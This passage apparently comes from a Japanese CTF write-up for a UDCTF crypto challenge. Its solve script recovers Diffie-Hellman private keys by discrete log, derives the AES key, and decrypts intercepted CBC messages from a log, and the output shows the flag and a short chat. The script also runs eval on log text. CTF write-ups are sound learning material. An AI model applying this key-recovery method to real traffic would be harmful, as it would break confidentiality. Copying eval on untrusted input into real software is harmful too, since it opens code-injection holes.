pub2 = 0xb634ed07578e7c5b2c06373f2622e71fa32b06ef77022e2ed89df68af194421bb2627fc49c49f6911111c46042b466ac1b6914552dca607a045c681842ad6da0f5ad10e91ecd8d761d7e440d0b7f0cc5c2aa1d595f9c6704519a5c8203eb252dc29743773538ef960f97005143d4cee38837aaf1cc98ead678d44c77002d

R = IntegerModRing(p)
priv1 = discrete_log(R(pub1), R(g))
priv2 = discrete_log(R(pub2), R(g))
assert pow(g, priv1, p) == pub1
assert pow(g, priv2, p) == pub2

shared_secret = int(pow(pub1, priv2, p)).to_bytes(128, 'big')[:16]
assert shared_secret == int(pow(pub2, priv1, p)).to_bytes(128, 'big')[:16]

with open('log.txt', 'r') as f:
    lines = f.read().splitlines()

for line in lines:
    if '|' in line:
        msg = line.split(' | ')[1]
        if msg.startswith('INFO:root:Someone queried message '):
            data = eval(': '.join(msg.split(': ')[1:]))
            message = bytes.fromhex(data['message'])
            iv = bytes.fromhex(data['iv'])
            cipher = AES.new(shared_secret, AES.MODE_CBC, iv)
            pt = unpad(cipher.decrypt(message), 16).decode()
            print(pt)

実行結果は以下の通り。

UDCTF{What do you think you're doing?}
What?
With Alice
I don't think that's your business
It is now
What are you talking about?
I'm her boss
You're not serious
yes I am
This is insane
leave her alone
fine
UDCTF{What do you think you're doing?}